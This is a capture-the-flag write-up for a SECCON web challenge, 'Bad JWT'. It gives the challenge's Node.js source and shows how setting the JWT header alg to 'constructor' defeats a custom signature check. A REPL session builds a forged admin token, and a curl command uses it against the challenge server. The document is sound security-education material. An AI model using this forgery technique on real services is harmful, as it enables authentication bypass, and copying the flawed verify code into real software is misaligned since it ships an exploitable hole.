Bad JWT
5 minutes to read
We are given the source code of a Node.js project. This is index.js
:
const FLAG = process.env.FLAG ?? 'SECCON{dummy}';
const PORT = '3000';;
const express = require('express');
const cookieParser = require('cookie-parser');
const jwt = require('./jwt');
const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
const secret = require('crypto').randomBytes(32).toString('hex');
app.use((req, res, next) => {
try {
const token = req.cookies.session;
const payload = jwt.verify(token, secret);
req.session = payload;
} catch (e) {
return res.status(400).send('Authentication failed');
}
return next();
})
app.get('/', (req, res) => {
if (req.session.isAdmin === true) {
return res.send(FLAG);
} else {
return res.status().send('You are not admin!');
}
});
app.listen(PORT, () => {
const admin_session = jwt.sign('HS512', { isAdmin: true }, secret);
console.log(`[INFO] Use ${admin_session} as session cookie`);
console.log(`Challenge server listening on port ${PORT}`);
});
And this is jwt.js
:
const crypto = require('crypto');
const base64UrlEncode = (str) => {
return Buffer.from(str)
.toString('base64')
.replace(/=*$/g, '')
.replace(/\+/g, '-')
.replace(/\//g, '_');
}
const base64UrlDecode = (str) => {
return Buffer.from(str, 'base64').toString();
}
const algorithms = {
hs256: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
hs512: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}
const stringifyPart = (obj) => {
return base64UrlEncode(JSON.stringify(obj));
}
const parsePart = (str) => {
return JSON.parse(base64UrlDecode(str));
}
const createSignature = (header, payload, secret) => {
const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
const signature = algorithms[header.alg.toLowerCase()](data, secret);
return signature;
}
const parseToken = (token) => {
const parts = token.split('.');
if (parts.length !== 3) throw Error('Invalid JWT format');
const [ header, payload, signature ] = parts;
const parsedHeader = parsePart(header);
const parsedPayload = parsePart(payload);
return { header: parsedHeader, payload: parsedPayload, signature }
}
const sign = (alg, payload, secret) => {
const header = {
typ: 'JWT',
alg: alg
}
const signature = createSignature(header, payload, secret);
const token = `${stringifyPart(header)}.${stringifyPart(payload)}.${signature}`;
return token;
}
const verify = (token, secret) => {
const { header, payload, signature: expected_signature } = parseToken(token);
const calculated_signature = createSignature(header, payload, secret);
const calculated_buf = Buffer.from(calculated_signature, 'base64');
const expected_buf = Buffer.from(expected_signature, 'base64');
if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
throw Error('Invalid signature');
}
return payload;
}
module.exports = { sign, verify }
Source code analysis
From index.js
, we see that we need to have req.session.isAdmin === true
in order to get the flag:
app.get('/', (req, res) => {
if (req.session.isAdmin === true) {
return res.send(FLAG);
} else {
return res.status().send('You are not admin!');
}
});
And this req.session
object comes from a JWT token inside a cookie, which is verified by the server:
app.use((req, res, next) => {
try {
const token = req.cookies.session;
const payload = jwt.verify(token, secret);
req.session = payload;
} catch (e) {
return res.status(400).send('Authentication failed');
}
return next();
})
This is jwt.verify
:
const verify = (token, secret) => {
const { header, payload, signature: expected_signature } = parseToken(token);
const calculated_signature = createSignature(header, payload, secret);
const calculated_buf = Buffer.from(calculated_signature, 'base64');
const expected_buf = Buffer.from(expected_signature, 'base64');
if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
throw Error('Invalid signature');
}
return payload;
}
What it does is take the parts of the JWT token (header
, payload
, signature
) and then use the provided header
and payload
to calculate a new signature using the server’s secret
. If both signatures match in Buffer.compare
, the signature is treated as valid.
This is createSignature
:
const algorithms = {
hs256: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
hs512: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}
// ...
const createSignature = (header, payload, secret) => {
const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
const signature = algorithms[header.alg.toLowerCase()](data, secret);
return signature;
}
Here we have something interesting, since the signature algorithm is taken from header.alg.toLowerCase()
.
Solution
We control this parameter, and thus we can enter something different from 'hs256'
or 'hs512'
as intended. For instance, since we are calling an attribute of an object, we can enter 'constructor'
(this is a kind of Prototype Pollution attack):
$ node
Welcome to Node.js v20.8.1.
Type ".help" for more information.
> const crypto = require('crypto');
undefined
>
> const base64UrlEncode = (str) => {
... return Buffer.from(str)
... .toString('base64')
... .replace(/=*$/g, '')
... .replace(/\+/g, '-')
... .replace(/\//g, '_');
... }
undefined
> const algorithms = {
... hs256: (data, secret) =>
... base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
... hs512: (data, secret) =>
... base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
... }
undefined
>
> const stringifyPart = (obj) => {
... return base64UrlEncode(JSON.stringify(obj));
... }
undefined
> const createSignature = (header, payload, secret) => {
... const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
... const signature = algorithms[header.alg.toLowerCase()](data, secret);
... return signature;
... }
undefined
> const secret = require('crypto').randomBytes(32).toString('hex');
undefined
> createSignature({ alg: 'hs256' }, { isAdmin: true }, secret)
'LNBaw1lmC_QGltCbDRDwQXkr3A_K-Y4m8lUBhKhZKXU'
> createSignature({ alg: 'constructor' }, { isAdmin: true }, secret)
[String: 'eyJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ']
Do you see the differences? The second one just outputs the <header>.<payload>
parts of the JWT token, with no signature at all. This happens because we are executing constructor(data, secret)
, which is just the string data
.
And there is another issue in Buffer.from(calculated_signature, 'base64')
:
> const calculated_signature = createSignature({ alg: 'constructor' }, { isAdmin: true }, secret);
undefined
> calculated_signature
[String: 'eyJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ']
> const calculated_buf = Buffer.from(calculated_signature, 'base64');
undefined
> calculated_buf
<Buffer 7b 22 61 6c 67 22 3a 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 7d 7b 22 69 73 41 64 6d 69 6e 22 3a 74 72 75 65 7d>
> calculated_buf.toString()
'{"alg":"constructor"}{"isAdmin":true}'
As can be seen, the [String:
part is omitted, as well as .
, '
and ]
, which are not a valid Base64 characters. As a result, we only need to encode the previous string in Base64:
> base64UrlEncode(calculated_buf.toString())
'eyJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ'
This will be the signature part. And the full JWT token is just:
eyJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ
Flag
If we use this JWT token as session
cookie, we will get the flag:
$ curl bad-jwt.seccon.games:3000 -b 'session=eyJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ'
SECCON{Map_and_Object.prototype.hasOwnproperty_are_good}